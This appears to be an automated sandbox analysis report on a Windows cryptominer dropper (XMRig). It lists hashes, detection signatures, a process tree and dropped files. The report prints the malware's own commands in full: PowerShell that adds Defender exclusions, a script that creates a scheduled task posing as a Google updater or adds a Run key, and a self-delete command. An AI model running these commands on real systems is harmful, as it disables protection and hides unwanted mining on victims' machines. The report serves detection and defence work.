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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1800s -
max time network
1783s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
22/08/2024, 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240705-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240704-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240704-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240704-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240708-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240704-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240705-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240704-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240708-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240708-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1696 created 1380 1696 qM5GMXBk6hJE6Y5e (16).exe 20 PID 1696 created 1380 1696 qM5GMXBk6hJE6Y5e (16).exe 20 PID 1696 created 1380 1696 qM5GMXBk6hJE6Y5e (16).exe 20 PID 1696 created 1380 1696 qM5GMXBk6hJE6Y5e (16).exe 20 PID 272 created 1380 272 updater.exe 20 PID 272 created 1380 272 updater.exe 20 PID 272 created 1380 272 updater.exe 20 PID 272 created 1380 272 updater.exe 20 PID 2964 created 1380 2964 conhost.exe 20 PID 272 created 1380 272 updater.exe 20 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral1/memory/1784-44-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-43-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-46-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-50-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-52-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-54-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-56-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-58-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-60-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-62-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-64-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-66-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1784-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
pid Process 2776 powershell.exe 2088 powershell.exe 1708 powershell.exe 2364 powershell.exe -
Deletes itself 1 IoCs
pid Process 2312 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 272 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2592 taskeng.exe -
resource yara_rule behavioral1/memory/1784-39-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-43-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-46-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-50-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-52-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-54-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-56-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-58-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-60-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-62-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-64-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1784-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 272 set thread context of 2964 272 updater.exe 47 PID 272 set thread context of 1784 272 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (16).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2896 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2008f551f6f4da01 powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3008 schtasks.exe 2848 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1696 qM5GMXBk6hJE6Y5e (16).exe 1696 qM5GMXBk6hJE6Y5e (16).exe 1708 powershell.exe 1696 qM5GMXBk6hJE6Y5e (16).exe 1696 qM5GMXBk6hJE6Y5e (16).exe 2776 powershell.exe 1696 qM5GMXBk6hJE6Y5e (16).exe 1696 qM5GMXBk6hJE6Y5e (16).exe 1696 qM5GMXBk6hJE6Y5e (16).exe 1696 qM5GMXBk6hJE6Y5e (16).exe 2888 powershell.exe 272 updater.exe 272 updater.exe 2364 powershell.exe 272 updater.exe 272 updater.exe 2088 powershell.exe 272 updater.exe 272 updater.exe 272 updater.exe 272 updater.exe 2964 conhost.exe 2964 conhost.exe 272 updater.exe 272 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 1708 powershell.exe Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeDebugPrivilege 2088 powershell.exe Token: SeDebugPrivilege 272 updater.exe Token: SeAssignPrimaryTokenPrivilege 2896 WMIC.exe Token: SeIncreaseQuotaPrivilege 2896 WMIC.exe Token: SeSecurityPrivilege 2896 WMIC.exe Token: SeTakeOwnershipPrivilege 2896 WMIC.exe Token: SeLoadDriverPrivilege 2896 WMIC.exe Token: SeSystemtimePrivilege 2896 WMIC.exe Token: SeBackupPrivilege 2896 WMIC.exe Token: SeRestorePrivilege 2896 WMIC.exe Token: SeShutdownPrivilege 2896 WMIC.exe Token: SeSystemEnvironmentPrivilege 2896 WMIC.exe Token: SeUndockPrivilege 2896 WMIC.exe Token: SeManageVolumePrivilege 2896 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2896 WMIC.exe Token: SeIncreaseQuotaPrivilege 2896 WMIC.exe Token: SeSecurityPrivilege 2896 WMIC.exe Token: SeTakeOwnershipPrivilege 2896 WMIC.exe Token: SeLoadDriverPrivilege 2896 WMIC.exe Token: SeSystemtimePrivilege 2896 WMIC.exe Token: SeBackupPrivilege 2896 WMIC.exe Token: SeRestorePrivilege 2896 WMIC.exe Token: SeShutdownPrivilege 2896 WMIC.exe Token: SeSystemEnvironmentPrivilege 2896 WMIC.exe Token: SeUndockPrivilege 2896 WMIC.exe Token: SeManageVolumePrivilege 2896 WMIC.exe Token: SeLockMemoryPrivilege 1784 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2776 wrote to memory of 3008 2776 powershell.exe 33 PID 2776 wrote to memory of 3008 2776 powershell.exe 33 PID 2776 wrote to memory of 3008 2776 powershell.exe 33 PID 2312 wrote to memory of 2900 2312 cmd.exe 38 PID 2312 wrote to memory of 2900 2312 cmd.exe 38 PID 2312 wrote to memory of 2900 2312 cmd.exe 38 PID 2888 wrote to memory of 2568 2888 powershell.exe 39 PID 2888 wrote to memory of 2568 2888 powershell.exe 39 PID 2888 wrote to memory of 2568 2888 powershell.exe 39 PID 2592 wrote to memory of 272 2592 taskeng.exe 41 PID 2592 wrote to memory of 272 2592 taskeng.exe 41 PID 2592 wrote to memory of 272 2592 taskeng.exe 41 PID 2088 wrote to memory of 2848 2088 powershell.exe 46 PID 2088 wrote to memory of 2848 2088 powershell.exe 46 PID 2088 wrote to memory of 2848 2088 powershell.exe 46 PID 272 wrote to memory of 2964 272 updater.exe 47 PID 2560 wrote to memory of 2896 2560 cmd.exe 52 PID 2560 wrote to memory of 2896 2560 cmd.exe 52 PID 2560 wrote to memory of 2896 2560 cmd.exe 52 PID 272 wrote to memory of 1784 272 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1380
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1708
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2900
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2848
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2964
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2952
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784
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C:\Windows\system32\taskeng.exetaskeng.exe {82037BB8-77AD-4E8A-924F-BFE5D302E7C5} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:272
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5207372c3bfe3d7eaead45872f10b67dd
SHA1d9af318cb4abbb5ea90f2844e245df73f196f612
SHA25673af238743ca6c4ca1b2d2b747bd1e3ff5fff57560b542af74e363474dc7eb69
SHA512610b4a4154e696d9c93b3b76e0d33f3d215cb70472b5f928ffed20ec6a5b274ea6b90709ccda01cd7fa28310a87c01aa34c3854957e91ff92a50441c919afb75
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6